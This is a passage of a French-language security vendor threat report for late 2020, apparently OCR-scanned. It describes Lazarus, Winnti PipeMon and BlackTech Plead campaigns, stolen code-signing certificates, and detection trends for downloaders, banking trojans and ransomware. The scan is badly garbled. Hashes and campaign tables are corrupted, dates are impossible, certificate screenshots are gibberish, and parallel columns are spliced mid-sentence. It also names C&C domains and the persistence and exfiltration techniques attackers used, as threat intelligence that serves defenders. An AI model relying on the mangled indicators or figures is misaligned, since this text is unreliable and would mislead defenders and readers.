
Les connaissances techniques supplémentaires acquises en Q4 de 2020 confirment gue ces
activites malveillantes peuvent étre attribueées au groupe Lazarus, comme nous le soupconnions
a l'origine. Les cibles des pirates et les moyens d’entrer en contact avec les salaries des
entreprises restent largement inchanges. Grace aux informations detaillees gue nous avons

Pu obtenir sur leurs actions, nous sommes slrs qu’ils continuent de perfectionner leurs
techniques.

Nos conclusions montrent que ces pirates s’attachent a dissimuler leur presence sur
les machines compromises en utilisant des logiciels legitimes, du code signe et d’autres
camouflages.

Le premier changement gue nous avons identifie se situe au debut de la chaine d’infection. Pour
prendre pied et persister sur l'ordinateur cible, les pirates utilisaient auparavant un script
XSL a distance configuré pour s’executer régulierement via l'utilitaire WMI (« wmic.exe »] en
ligne de commande. Lors d’attagques plus recentes, nous avons observe le passage a un script
UBS, programmeé pour s’executer periodiguement a 1’'aide de Windows Script Host (« wscript.

exe »J.

Ce script UBS lance l'utilitaire Windows Program Compatibility Assistant (« pcalua.exe » ), qui
sert de proxy d’execution pour l'utilitaire Windows Installer (« msiexec.exe »] lancé avec une
URL comme parametre. Cette approche permet aux pirates de diffuser les outils malveillants qui
repondent le mieux a leurs besoins actuels, car le contenu heberge a distance peut étre modifie
a tout moment.

Nous avons egalement découvert gque la methode d’exfiltration des donnees a change. Lors
d’attagques precedentes, Lazarus utilisait une version personnalisee du client Dropbox

open source dbxcli [14]. Ils sont passes depuis a un nouvel outil concu specifiquement pour
l'exfiltration des donnees. Les pirates copient d’abord les fichiers qui les interessent dans un
dossier separe. Le nouvel outil d’exfiltration les telecharge ensuite vers une URL specifiee via
une requéte HTTP POST. Les fichiers sont enfin supprimes pour couuvrir les traces du groupe.

Nous avons reussi a combler certaines lacunes concernant d’autres aspects de la campagne.

Nous avons par exemple decouvert que pour faire de la reconnaissance, les pirates utilisaient

AJFind [15], qui est un logiciel légitime utilisé pour interroger Active Directory via la ligne de

commande.

Comme precedemment, les pirates tentent de faire passer leur presence pour benigne afin
d’eviter la detection. I1s nomment les fichiers, les taches planifiees et les dossiers qu’ils
utilisent de maniere a ce qu’ils ressemblent a des programmes et des produits connus. Depuis
gue nous avons commence notre surveillance, nous avons determine que Dell, Intel et OneDrive
sont les trois principales margques servant de déguisement au groupe.

Lors de nos premieres conclusions, nous avons indigue que certains des outils utilises

pour l'operation possedent une signature numerique, ce qui leur confére une credibilite
supplementaire. Au moment de la publication de notre etude initiale, nous connaissions le
certificat utilise a cette fin. Depuis lors, nous en avons decouvert deux autres. Tous trois ont
eté emis par Sectigo (anciennement Comodo CA)J. Ils ont éteée revogues a notre demande. Il est
interessant de noter que nous n’avons observe que l'utilisation de ces trois certificats dans
cette serie d’attaques.

Notre surveillance continue a confirmé gu’Operation In(ter])ception de Lazarus est toujours
active et gu’elle evolue subtilement dans le temps. Nous sighalerons tout developpement
ulterieur.

Indicateurs de compromis (IoC] [13]

Groupe Winnti Exclusivite

Le groupe Winnti est actif depuis au moins 2012 et est 1’'auteur d’attaques
tres meédiatisées contre la chaine d’approvisionnement d’entreprises de jeux
vidéo et de logiciels, qui conduisent a la diffusion de chevaux de Troie (tels
que CCleaner, ASUS LiveUpdate et plusieurs jeux vidéo) afin de compromettre
davantage de victimes. Il a également compromis différentes cibles dans les
secteurs de la santé et de 1’éducation.

Groupe Winnti : mise a jour de PipeMon

En mai 2020, nous avons documenté [16] une nouvelle porte dérobée modulaire appelée PipeMon,
qui a ete utilisee par le groupe Winnti contre le secteur des jeux video en Coree du Sud et a
Taiwan.

En novembre dernier, nhous avons observe que de nouveaux echantillons de PipeMon etaient
utilises contre plusieurs societes de jeux video sud-coreennes. Le format utilise pour nommer
les telechargeurs de PipeMon est 1.3.2.0_<HORODATAGE>.exe

Méme si ces telechargeurs sont similaires aux precedents, le developpeur a integre des
protections : si le telechargeur est execute en dehors d’un delai specifique de trois jours,
1l s’arréte et n'etablit pas de persistance pour PipeMon sur le systeme. Cela permet tres
probablement d’eviter que son comportement malveillant ne soit detecte par des systemes
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automatises s’il est analuse en dehors de ce delai plutdt court. Les horaires d’activation de
PipeMon et d’etablissent de la persistance sont indigques dans le tableau suivant.

Horodatage
superieur

Horodatage

Téléchargeur SHA-1 Nom de fichier : , .
inferieur

5015492DEQC2EBSE389F
I0SR25 5378000 E0499EE 1.3.2.0_20201107223915.exe  2020-11-07 14:00:00  10/11/2020 14:00:00
D6588906101F33D8A119

C3S0E7ANE 45614050008 1.3.2.0_20201029171157.exe  29/16/2020 09:00:00 01/11/2020 09:008:00
F334BFB629CDBDB6E493 . .
CCBFES9BF31D877ASEAT 20201026114749.exe 26/10/2020 03:00:00 29/11/2020 03:00:00

Notez que la date dans la limite inferieure de 1’horodatage correspond a la partie date de
I’horodatage du nom de fichier du telechargeur. Ces derniers sont obscurcis a l’aide de
techniques empéchant le desassemblage.

Comme les versions precedentes de PipeMon, le module de chargement est enregistre dans

le systeme en tant que processeur d’impression [17] et contient une configuration codée en
X0OR contenant le nom de la valeur de registre dans laquelle les modules sont stockés (HKLM\
SOFTWARE\Microsoft\Print\Components\Spooler-PPC]), un ID de campagne, une adresse de
serveur de commande et de contrdle primaire et secondaire (margquée par un # en téte], et un
horodatage d’activation pour l'adresse du serveur de commande et de contrdle secondaire. Les
configurations decodees pour les dernieres variantes de PipeMon sont présenteées ci-dessous.

Chargeur Cleé de la base ID de Adresses du Horodatage de
SHA-1 de registre campagne serveur de C&C l’activation
OE2F32F9CC409027E1LS54 {3868D238[§!—923C—D?82— 1108 update.npicgames.com Sam. 28 aolt 2021
BAOSBAA9S558U8BEBOEBA4 988J—829263[3D85[39} #nl.nplayon.com 00:00:00 UTC
BE9AABL20884030BOFOSB {38C8D238Q—923C-D?82— 1029 update.npicgames.com Sam. 28 aoult 2021
683E99CFIE3FUE9/’DFF2 9BBJ—829263€D85C9} #nl.nplayon.com 00:00:00 UTC
2FBB80O0U’DB0D4B302FDSEF {94E5H6D48ﬁ—P895-85E1— PAPA nt.nplayon.com Jeu. 28 Jjanvier 2021
S5619E20053FBD1973A4B 54DD—E]8E]6368119E]3} #nl.nplayon.com 00:00:00 UTC

Contrairement aux precedentes variantes de PipeMon, les identifiants des campagnhes ne
correspondent plus au pays des entreprises ciblees.

Le code de ces variantes de PipeMon est signhe avec des certificats voles a Ualofe et MoveGames,
qui sont des entreprises sud-coreennes de developpement et d’edition de jeux. Nous avons
informe 1'autoriteé de certification qui a delivre ces certificats, et ceux-ci ont ete revoques.

Digital Signature Details p  Certificate

General  Advanced General Details  Certification Path

,» Digital Signature Information Show: | <all=

=2 This digital signature is QK.
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JH
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i

Signirng kirne: Mok available
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Wiew Certificate

Counkersignatures

Marme of signer: E-mail address: Timeskarmp
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SsUEr thawte SHAZSE Code Signi
E-mail:

Mot available Thursday, Augus

Yalid From .
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= Subject Movegames Co,,Lkd,, Movega, .,

ilir ke BS4 (PN48 Rikch

Signing kirne: Mok available
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W

=3
='-

T

Wiew Certificate
games Co,,Lkd,
ames Co,,Lkd,
Counkersignatures
E-mail address:

Mame of signer: Timestanmp

Edit Properties. .. Copy to File. ..

Dekails

Sur 'une des machines compromises, les pirates ont utilise le voleur d’identifiants
AceHash (fréguemment utilisée par le groupe Winnti) et gsecdump [18] (un autre collecteur
d’'identifiants]. Certaines des entreprises de jeux vidéo compromises dans cette récente
campagne l'ont egalement ete lors de precedentes attaques du groupe Winnti.

Indicateurs de compromis (IoC] [13]
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Malware Plead Exclusivite &) Certificate

’ ’ ey 7 General Advanced General Details Certification Path
Les malwares Plead sont des portes derobees utilisees dans les attaques . -
. s : - — » Digital Signature Information N -
ciblees du groupe BlackTech. Ce groupe effectue principalement du 27 This digital signature is OK. Show:  |<All>
cyberespionnage en Asie, en particulier a Taiwan. o Value
slgnet nformation [5lerial numb ‘;h b8 d2 7f 7b e8 ¢7 28 e4 86 be 1
: z - ok 5 =1 5erial number Oc 39 b8 dz eS8 c/ 28e4 86 be 1...
BlackTech est connu pour avoir vole des certificats de signature de code Name: DS COMERCIO, TMPORTACAO E REPRESENT  cignature algorithm sha?S6RSA
legitimes a des entreprises technologiques, et les avoir detourne pour signer —_— _ [ZISignature hash alg... sha256
; ; , . ) . -mail. Not available [=lTIssuer DigiCert SHA2 Assured ID Code Signin...
leurs portes dérobées et déjouer les détections. Par exemple, en 2018 [19], 5valid from 20 November 2018 01:00:00

i , .. ) P , Signing time: 10 September 2020 01:58:41 Evalid to 23 November 2020 13:00:00
nous avons signale que des certificats de D-Link ont ete detournes pour - r—— .

signer des echantillons de Plead.

View Certificate

- . ) CN = GMDS COMERCIO, IMPORTACAO E REPRESENTACAO EIRELI
Countersignatures ouU =TI

Name of signer:  E-mail ad... Timestamp D_= EJAF:I?!I:}E JEE_'jil'gER{_IID, IMPORTACAO E REPRESENTACAO EIRELI
= 2

Symantec Time ... Mot availa... 10 September 2020 01:58:41 5p

En 2019 [20], nous avons signalé que Plead a été diffusé via des routeurs
compromis et des attaques man-in-the-middle contre le logiciel legitime ASUS
WebStorage.

Nouvelles activites malveillantes de Plead

Copy to File...

Les chercheurs d’ESET ont identifie de nouvelles activites du groupe BlackTech en Chine et a
Taiwan en R4 2020. Les pirates ont utilise le malware Plead signe avec un certificat appartenant

a GMDS COMERCIO, IMPORTACAO E REPRESENTACAQO EIRELI.
Nous avons signhale le certificat a DigiCert CA.

Les echantillons de Plead signes avec ce certificat sont obscurcis et utilises pour charger des
composants supplementaires a partir de fichiers externes.

Indicateurs de compromis (IoC] [13]
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Le paysage des menaces de R4 2020

vu par la telemetrie d’ESET

Taux de détection des malwares en R4 2020 (en haut] et en 2020 [en bas)

UBA/TrojanDownloader.Agent trojan
HTML/Fraud trojan

JS/Agent trojan

HTML/Phishing.Agent trojan
DOC/TrojanDownloader.Agent trojan
UBS/TrojanDownloader.Banload trojan
DOC/Fraud trojan
Win/Exploit.CUE-2017-11882 trojan
JS/Spy.Agent trojan

LNK/Agent trojan

6,0 %

4,2 %

3,8 %

3,5 %

3,2 %
2,5 %
2,3 %

1,9 %

.1,?%

&l 7%

7,0 %

39,8 %

Les 10 malwares principalement détectés en R4 2020 (% des détections de malwares)

Echantillon de données : France
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Top 10 des malwares detectes

Cette détection couvre genéeralement les fichiers Microsoft Office malveillants qui tentent
de manipuler des victimes potentielles afin d’executer une macro malveillante. La macro
malveillante intégrée telecharge et exécute généralement des malwares supplementaires. Les
documents malveillants sont generalement envoyes sous forme de pieces jointes a un email, et
déguises en informations importantes pour le destinataire.

LNK/Agent est le nom de la détection des malwares utilisant des fichiers de raccourci LNK de
Windows pour executer d’autres fichiers sur le systeme. Les fichiers de raccourcis gagnent en
popularite aupres des pirates, car ils sont generalement consideres comme etant anodins et
moins susceptibles de susciter des soupcons. Les fichiers LNK/Agent ne contiennent pas de code
malveillant et font generalement partie d’autres malwares plus complexes. Ils sont souvent
utilises pour rendre les principaux fichiers malveillants persistants sur le systeme ou comme
etape du vecteur d’infection.

Les detections HTML/Fraude couvrent différents types de contenus frauduleux en HTML, diffuses
dans le but de gagner de l'argent ou de realiser des profits grace a l'implication de la victime.
Cela inclut des sites web d’escroguerie, ainsi que des emails HMTL et des pieces jointes. Uia un
tel email, les destinataires peuvent étre amenes a croire gqu’ils ont gagne un prix a une loterie
et sont alors invités a fournir des informations personnelles. La fraude par avance de fonds [21]
est un autre cas courant, notamment la tristement celebre escrogquerie du Prince nigerian alias
« escroquerie 419 ».

Ce nom de déetection désigne des documents spécialement concus pour exploiter la vulnérabilite
CUE-2017-11882 [22] de I'éditeur d’équations de Microsoft, un composant de Microsoft Office. Le
code malveillant est accessible au public et est generalement utilise comme premiere etape de
l'infection. Lorsque l'utilisateur ouvre le document malveillant, I’'exploitation est declenchee
et son shellcode est execute. Des malwares supplementaires sont ensuite telecharges sur
l’ordinateur pour effectuer des actions malveillantes arbitraires.

Cette classification represente les documents Microsoft Word malveillants qui telechargent
d’autres malwares depuis Internet. Les documents sont souvent deguises en factures,
formulaires, documents Juridigues ou autres informations apparemment importantes.

Ils peuvent utiliser des macros malveillantes, des objets Packager (ou autres] intégres, ou
méme servir de leurre pour detourner l’'attention du destinataire pendant que le malware est
telecharge en arriere-plan.

HTML/Phishing.Agent est un nom de détection pour le code HTML malveillant souvent utilise
dans une piece jointe d’'email d’hameconnage. Lorsqu’une telle piece jointe est ouverte, un site
d’hameconnage est ouvert dans le navigateur web, se faisant passer pour le site officiel d’'une
bangue, d’'un service de paiement ou d’'un reseau social. Le site web demande des identifiants ou
d’autres informations sensibles, qui sont ensuite envoyees au pirate.

Ce nom de detection couvre differents fichiers JavaScript malveillants, qui sont souvent
obscurcis pour echapper aux detections statiques. Ils sont generalement heberges sur des
sites web compromis mais par ailleurs legitimes, afin qu’ils puissent étre automatiquement
telecharges par des visiteurs qui consultent les sites.

Les détections DOC/Fraude couvrent principalement les documents Microsoft Word comportant
differents types de contenus frauduleux diffuses par email. Le but de cette menace est
d’'impliquer la victime, par exemple, en la persuadant de divulguer en ligne les identifiants de
son compte ou des donnees sensibles. Les destinataires peuvent étre amenes a croire qu’ils
ont gagne un prix a la loterie ou gqu’on leur propose un prét tres avantageux. Les documents
contiennent souvent des liens vers des sites web qui invitent les victimes a fournir des
informations personnelles.

Win/Phorpiex est un ver qui est principalement utilisé pour teélécharger d’autres malwares,
diffuser du spam et lancer des attaques DDoS. Il se propage via des supports amovibles et,
pour inciter les utilisateurs a le telecharger et 1l'executer, il remplace des fichiers legitimes
stockes dans les dossiers des serveurs web ou FTP par des copies de lui-méme. Il communigue
via des canaux IRC.

Le nom de detection Win32/HackTool.Equation couvre les outils attribués a I’Agence de securite
nationale des Etats-Unis (NSA), qui ont été rendus publics par le groupe de pirates Shadow
Brokers. Depuis la fuite, ces outils sont largement utilises par les cubercriminels. La detection
inclut egalement les malwares derives de ces outils ou les menaces utilisant les mémes
technigues.



Telechargeurs

Apres un bon 3, le volume des telechargeurs a connu un leger recul en R4.

Apres un bon R3, le volume des telechargeurs a connu une baisse de 14,7 % en Q4 La plupart
des attagues ont eu lieu en octobre et concernaient UBA/TrojanDownloader.Agent, une famille
de malwares proche d’Emotet. Deux variantes UBA sont a I'origine des pics les plus importants
observes les 15 et 20 octobre. Q4 a egalement connu une surcroit d’activite de Smokeloader et
de Zloader (détectés sous les noms géneriques Kryptik et Agent par les produits ESET), qui ont
souvent telechargeée les ransomwares LockBit et Crysis.

Les developpeurs d’Emotet ont utilise les derniers mois de 2020 pour ameliorer les mecanismes
de furtivite de leur telechargeur en ajoutant des binaires propres. Il s’agissait probablement
d’une tentative de dejouer les detections par des solutions de securite s’appuyant sur
l’apprentissage machine. En deployant cette version amelioree, les operateurs ont inonde des
utilisateurs en Lituanie, en Grece, au Japon, en Roumanie et en France par des vagues d’'emails
de spam contenant des pieces jointes malveillantes.

En Q4, un nouveau service appele haveibeenemotet.com [23] a vu le jour, permettant aux
utilisateurs de verifier si leurs adresse electronique a ete utilisee a mauvais escient dans des
campagnes de cette famille de malwares.

Durant le méme trimestre, une alerte de 1’Agence de cybersecurite et de securite des

+42.5 %

° ° +32’3 o/o :
. +76,6 % : :
1 janv. 2020 1 avr. 2020 1 Jjuil. 2020 1 oct. 2020

Tendance de detection des télechargeurs en 2020, en moyenne mobile sur sept jours
Echantillon de données : France

infrastructures (CISA) a mis en garde [24] les gouvernements des Etats et les collectivités
locales des Etats-Unis ont renouvelé contre de nouvelles campagnes d’hameconnage par email
d’Emotet.

OQutre des emails sur le theme de COVUID, Emotet a egalement abusé du theme d’Halloween [25]
pour diffuser du spam malveillant. Dans le message lui-méme, les operateurs invitaient les
destinataires a une féte, avec les details necessaires se trouvaient dans le document Jjoint
pour inciter les victimes a autoriser l'activation de son contenu. Bien sGr, le fait de cliquer
dessus n’a pas « mis a jour leur edition de Microsoft Word » mais a installe Emotet sur leur
machine.

SECURITY WARNIMG Macros have been disabled. Enable Content

Upgrade your edition of Microsoft Office

Upgrade your edition of Microsoft Word

Upgrading your edition will add new features to Microsoft Word.

Please, click Enable Editing and then click Enable Content.

Modeles utilises dans les documents joints diffuses par Emotet

Apres Halloween, les activites d’Emotet ont commence a s’essouffler, conduisant a une periode
d’inactiviteé qui a dure jusqu’aux derniers jours de decembre. Les ralentissements de ce type
sont surprenants car les campagnes de telechargement sont tupiques avant Noél [26], pour
essayer de manipuler les acheteurs en ligne avides de bonnes affaires.

Comme lors des trimestres precedents, UBA/TrojanDownloader.Agent a domine le top 10 durant
Q4, cette fois avec 56 % de toutes les detections de telechargeurs, soit un recul notable par
rapport aux 64 % de Q3.
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La dynamique de la catégorie tout au long de 2020 a ete principalement influencee par

UBA I'(inJactivité d’Emotet et par le fait gue les criminels ont opté pour des connexions ROP mal
configurees plutdt que des telechargeurs pour la diffusion de leurs malwares, ce gqui a entraine
76 % UBS une baisse d’activite de fevrier a juin. Une croissance lente mais constante a suivi en juillet,
ce gqul a entraine une activite frenetique d’Emotet en septembre et octobre.
DOC
La plupart des pics observés en 2020 ont eté provoqueés par UBA/TrojanDownloader.Agent
mJS (principalement Emotet], mais JS/TrojanDownloader.Nemucod a également provoquée quelques
remous. Ses campagnes ont eté observees en fevrier et au milieu de 1’'annee, avec un focus sur
7 9 B Powershell les utilisateurs japonais. Cela a fait du Japon le pays le plus cible par les telechargeurs en
° _ 2020, avec 15,8 % des detections. L’'Espagne et la Pologne sont loin a egalite en seconde place
Win (4,4 %], suivies de 1'Italie (4,1 %), de la Turquie (3,9 %] et de la Thailande (3,8 %J.
MSIL
Autres

Détections de telechargeurs par type de detection en R4 2020

Echantillon de données : France

Cela se reflete egalement dans les types de detection les plus courants. Les scripts en UBA Te n d E| n C e S e tl P e PS P e C tl U e S

(Uisual Basic for Applications] sont restés la plateforme de téléchargement la plus fréguente
(51 % durant Q4) mais ont perdu 13 points de pourcentage par rapport a Q3. Les autres
plateformes ont connu des augmentations mineures, les fichiers Office contenant des chevaux
de Troie (DOC) arrivant en seconde position avec 10 %, les scripts Uisual Basic en troisieme
position avec 8 % et les exécutables portables (Win) en quatrieme position avec 6 %.

Les premieres semaines de 2020 ont vu une augmentation notable de 1'utilisation du
module de diffusion Wifi d’Emotet qui, jusqu’'alors, etait genéeralement reserve aux
attaques ciblees de grande envergure. En fevrier, un autre changement majeur est
intervenu lorsque ses opéerateurs ont ajouté 1’obfuscation, 1’'aplatissement du flux de
contréle, a leurs binaires.

Peu apres la mise a jour, une interruption inattendue a eu lieu, jusqu’en juillet,

lorsque les serveurs ont commence a envoyer de nouvelles vagues de spam, avec Rbot
comme principal malware. Cela n’a duré que jusqu’'a R3, lorsque TrickBot a repris son
ancienne position. Emotet a continué a prendre en charge cette famille méme apres les
perturbations qui ont paralysé une grande partie de l'infrastructure de TrickBot en Q4
2020.

En octobre, Emotet a commencé a utiliser des binaires propres pour essayer de rendre
leur telechargeur plus difficile a déetecter. Ensuite, deux mois de silence radio ont suivi,
se terminant le 27 décembre par l’'apparition d’une version considérablement actualisée
de son module principal.

En 2021, nous devrions normalement nous attendre a ce qu’Emotet continue d’améliorer
son infrastructure et ses tentatives d’hameconnage, mais voyons ce que les efforts de
demantelement du déebut de 1’année 2021 produiront. Nous pouvons nous attendre a ce
qu’Emotet poursuive sa collaboration avec TrickBot pour se redresser.

Zoltan Rusnak, Malware Analyst chez ESET

Taux de detection des malwares en 2020
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Malwares bancaires

TrickBot fait face a une campagne de perturbation tandis que le volume des malwares bancaires continue de diminuer.

En Q4 2020, les malwares bancaires ont connu une nouvelle baisse constante, de 33 % par
rapport a Q3. Cela correspond aux donnees annuelles, qui ont enregistre une tendance
progressive des detectionsa la baisse. Cette tendance pourrait étre influencee par le fait gue
d’'autres activites malveillantes, telles que les ransomwares, sont moins risquees et offrent
ainsi un meilleur retour sur investissement aux pirates.

La famille de malwares bancaires la plus frequemment observeée dans la telemetrie d’ESET reste
JS/Spy.Banker, bien que sa part ait diminueé, passant de 59 % en Q3 & 43 % en R4. MSIL/ClipBanker
a connu une augmentation significative de 5 % a pres de 11 % de toutes les detections de
malwares bancaires, passant de la troisieme a la seconde place. Win/Spy.Danabot, qui etait
autrefois une famille repandue, est sortie du top 10.

Poursuivant la tendance amorcee au cours du trimestre precedent, Qbot a conserve une longueur
d’avance sur TrickBot, avec des chiffres toujours plus eleves. Il a cesse d’utiliser le ransomware

Prolock en faveur d’Egregor [27], qui a fait irruption en septembre et gqui est actuellement l'une
des campagnes de ransomwares les plus actives. Par rapport a Q3, lorsque Qbot est devenu l'un
des malwares du telechargeur Emotet, Q4 a ete légerement plus calme, avec une baisse de 8 %.
Il nen reste pas moins que ses activites ont augmente regulierement tout au long de 1’'annee 2020.

+182,6 %

-46,4 %

-68.,4 %

R4

Tendance de detection des malwares bancaires en 2020, moyenne mobile sur sept jours
Echantillon de données : France

. Q3

1 ganv. 2020 1 avr. 2020 1 juil. 2020 1 oct. 2020

JS/Spy.Banker trojan
Win/Abot backdoor
MSIL/ClipBanker trojan
Win/Spy.Zbot trojan
Win/ClipBanker trojan
Win/Tinukebot trojan
Win/Spy.Danabot trojan
Win/TrickBot trojan
Win/Spy.Ursnif trojan

Android/Spy.Banker trojan

6,4 %
9,9 %
5,4 %
3,6 %
2,3 %

1,9 %

1,7 %

1,0 %

Ia,7%

69,7 %

Les 10 principales familles de malwares bancaires en R4 2020 (% de détections de malwares bancaires)

Echantillon de données : France
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Tendaonces de detection de TrickBot et de Rbot en 2020, moyenne mobile sur sept jours
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TrickBot a par ailleurs connu des problemes majeurs en Q4. I1 a ete tres actif en R, méme si son
activite a chute de maniere significative en mars tres probablement parce que les pirates se
sont concentres sur le developpement de nouveaux malwares. Toutefois, a partir d’octobre, une_
vaste campagne de perturbation menée par Microsoft [28], a principalement ciblé les serveurs

de commande et de contrdle de TrickBot et a cherche a empécher les operateurs d’en obtenir

de nouveaux. ESET a participé a cette opération [1], fournissant des analyses techniques, des
informations statistiques, ainsi que les homs de domaine et les adresses IP de serveurs de
commande et de contrdle connus. Bien qu’affaiblis, les auteurs de TrickBot ont montre qu’ils
avalent encore gquelques astuces dans leur manche, en lancant deux nouveaux modules : un pour

I’analyse UEFI [29], I’'autre pour cibler Linux [30]. Tous deux sont apparus vers la fin de 1'année 2020.

En 2020, les chevaux de Troie bancaires latino-americains ont commence a jeter leur devolu sur
I’Europe. Trois familles sont impliquees : Grandoreiro, Mekotio et Mispadu. La cible principale de
ces campagnes etait 1'Espagne, qui a subi la grande majorite des attagques en Europe. Parmi les
autres cibles figuraient le Portugal, dont l'activite est restee faible tout au long de 1’annee
2020, I'Ttalie et la France, qui ont subi plusieurs attagues en Q3 et en Q4, et la Belgique, qui a
connu une campagne en R3. Durant R3, Grandoreiro a etendu la liste des cibles de ses binaires
pour inclure des bangques en Suisse, aux Pays-Bas, en Allemagne, au Royaume-Uni et en Slovaquie,
ce qui pourrait indiquer ou il va frapper ensuite.

Quant a la motivation de cette expansion vers I'Europe, les operateurs de chevaux de Troie
bancaires latino-americains pourraient avoir l'intention de sonder de nouveaux territoires pour
determiner si cela est lucratif.

UE mLATAM
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Détections de Grandoreiro, Mekotio et Mispadu combinées, regions UE et LATAM

Les Etats-Unis etaient la Plus grande cible des attagques de malwares bancaires en 2020, avec
11,3 % d’entre elles. Selon la telemetrie d’ESET, le Brésil se classait second et la Pologne
troisieme avec respectivement 10,8 % et 7 % de toutes les attaques.

Taux de detection des malwares bancaires en 2020

Tendances et perspectives

Les activites de TrickBot ont fortement diminué a la suite de 1’'opération qui s’est
derouléee a la fin de 1'année derniere. Nous surveillons en permanence le botnet TrickBot,
et son niveau d’activité reste tres faible a ce jour. Elle n’a toutefois pas été totalement
eradiqueée. A titre d’exemple, hous voyons encore apparaitre de nouveaux modules
TrickBot. Le module d’analyse UEFI qui a hotamment été repéré a la fin de 1’'année
derniere, bien qu’il n'ait pas été largement diffusé. Ce module ne peut pas modifier ou
remplacer 1'UEFI. I1 peut seulement analyser le micrologiciel du systeme pour détecter
toute vulnerabilite qui permettrait de modifier le micrologiciel. Dans 1’ensemble, méme
si les opérateurs de TrickBot ont etée séverement touchés, un retour est toujours
possible.

Jean-Ian Boutin, Head of Threat Research chez ESET

L’evolution des réeglementations, la pression des clients et les pertes financieres dues
aux incidents de cybersécurité poussent les banques a progressivement améliorer
leurs defenses. Tous ces efforts sont payants : les criminels delaissent les malwares
bancaires pour d’autres sources de revenus.

Daniel Chromek, CISO chez ESET
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Ransomwares

La diffusion massive de ransomwares continue a diminuer, tandis que les gangs a l'origine d’attaques cibléees deviennent plus agressifs et se concentrent sur

les grandes entreprises internationales.

Q4 a vu une legere baisse de 4 % des detections de ransomwares, la plus faible baisse d’'un
trimestre a I'autre observee en 2020. Contrairement a la couverture mediatique de plus en plus
importante des attagues de ransomwares, la plupart des detections figurant dans le graphique
proviennent de familles diffusees par email et seulement dans un nombre tres limite d’attaques
ciblees. Ces dernieres semblent étre de plus en plus populaires parmi les cybercriminels.

ESET a detecte une hausse notable des activites de ransomwares en Israél le ler novembre 2020.

Selon les donnees disponibles, I'incident a ete cause par des operateurs de malwares qui ont
tenté de deployer le logiciel Sodinokibi dans les reseaux cibles.

Dans le top 10, Win/Filecoder.WannaCryptor a conserveé sa position de leader avec 42 %, mais a
perdu pas mal de terrain par rapport aux 52 % de R3. Comme lors des trimestres précedents,
ces detections ont ete declenchées par des échantillons bien connus diffuses par des
cybercriminels sur des marches moins developpes.

Win/Filecoder.STOP s’est introduit dans le top 10 des ransomwares et
s’est classe deuxieme avec 10 %. Si 'on compare ce chiffre a ses

-16,0 % :
-19,0 %

-3,9 %

— -

1 oct. 2020

1 janv. 2020 1 avur. 2020 1 juil. 2020

Tendance de detection des ronsomwares en 2020, moyenne mobile sur sept jours

Win/Filecoder.Crysis trojan

Win/Filecoder.Phobos trojan 12,6 %

Win/Filecoder.STOP trojan 12,0 %

Win/Filecoder.Locky trojan 7,1 %

Win/Filecoder.Buran trojan 6,0 %

4,4 %

Win/Filecoder.CryptoWall trojan
Win/Filecoder.NetWalker trojan 3,3 %

Win/Filecoder.Jaff trojan 2,7 %

Win/Filecoder.Lockbit trojan 2,7 %

Win/Filecoder.Cerber trojan 2,7 %

Les 10 principales familles de ransomwares en R4 2020 (% de détections de ransomwares)
Echantillon de données : France

1,1 %4 et sa 12e position en Q3, il s’agit d’un retour aux positions precedentes que cette famille
de malwares occupait en R1 (7,5 %) et en Q2 (6,3 %].

Le retour de STOP a pousse Win/Filecoder.Crysis en troisiéeme position avec 4,9 %, soit 1,6 points
de pourcentage de moins qu’en R3. En quatriéme position, Win/Filecoder.Sodinokibi a maintenu
des proportions similaires au trimestre précedent, suivi de Win/Filecoder.Phobos et de Win/
Filecoder.Buran, tous deux avec 4,5 %.

Bien que Buran soit bien connu, c’est la premiere fois cette annee qu’il se place dans le top 10.
La hausse du nombre de detections a ete principalement alimentee par une campagne d’emails
diffuses les 11 et 12 déecembre, principalement aux Etats-Unis, en Italie et en Espagne.

Les attagques ciblees de ransomwares sont restees 1'une des cybermenaces les plus redoutees en
Q4, avec certains des gangs ne tenant pas [31] leur promesse de supprimer les données volées et
de ne plus jamais extorquer leur victime.

Le gang Maze, 1'un des acteurs les plus eminents de cette secteur, a annoncé [32] I'arrét de ses
activites en Q4. Dans leur declaration finale, les membres du groupe n'ont pas donne de raison,
mais ont nie qu’il y ait jamais eu un cartel. Cela contraste fortement avec Maze qui utilise les
mémes tactiques que d’autres familles comme Ragnar et offre un espace d’hebergement sur leur
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site de publication de donnees a Ragnar, SunCrypt et LockBit. Certains des operateurs de Maze Dans 1'ensemble, le nombre d’attagues de ransomwares detectees, diffusees par des campagnes

ont probablement migre sur le ransomware Egregor, une famille visible depuis Q3 2020. de spam non ciblees, n’a cesse de diminuer tout au long de l’'annee. La baisse entre Q1 et Q4

est de 35 %. Le pic le plus notable de I'année a eté observe a la fin du mois de mai, cause par
Méme sans Maze, il reste une plethore d’autres gangs de ransomwares, dont les operateurs MSIL/Filecoder.KU, également connu sous le nom de WannaPeace [38]. Les auteurs de la campagne
ciblent les grandes entreprises internationales ainsi que des secteurs sensibles tels que la ont détourné un espace Amazon AWS S3 orphelin qui hébergeait auparavant une solution Cookie
santeé. Ruyk, un des acteurs les plus agressifs, a continué [33] de compromettre les systéemes Consent qu’ils ont remplacée par leur malware.

des infrastructures medicales surchargees, suite a son attaque en R3 [34] d’UHS.

Géographiguement, le plus grand nombre de ces campagnes non ciblées était en Russie (7 %],

L'une des questions les plus frequentes concernant les attaques de ransomwares est celle de suivi de la Turquie (5,1 %), de ’Afrique du Sud (4,8 %), de Taiwan (4,3 %) et de I'Indonésie (4,2 %).
leurs revenus. Un representant du gang Sodinokibi (REvil) a declareé dans un entretien en @4 [35]

que leur modele de ransomware sous forme de service leur a rapporte 100 millions de dollars
l’annee derniere, principalement grace aux 20 a 30 % de frais gu’ils facturent a leurs affilies.

En Q4, de nouvelles tactiques ont egalement ete ajoutees a la panoplie d’'outils d’extorsion et
de coercition : Le bombardement par impression [36] est de plus en plus fréquent. Cette tactique
oblige toutes les imprimantes disponibles dans le reseau de la victime a imprimer la demande de
rancon. Une autre approche generatrice de pression consiste a contacter spontanément [37] le

personnel de I'entreprise ciblee, au cas ou il tenterait d’eviter le paiement de la rancon et de Te n d E| n c e S e t, p e PS p e c tl U e S

restaurer autant que possible de donnees a partir des sauvegardes.

Les listes des victimes touchees par des attaques ciblées de ransomwares en Q4 comprennent L’annee 2020 a vu un nombre croissant d’attaques ciblees de ransomwares combinées
Mattel Enel, Barnes & Noble, Ubisoft, Kmart et Whirlpool. a du « doxing », le vol des données de la victime assorti d’une menace de les publier.
Si au debut de 1’'année une petite poignée de pirates utilisaient cette technique, initiee
par Maze, les rangs ont grossi rapidement les mois suivants. Et avec l'arrivée de
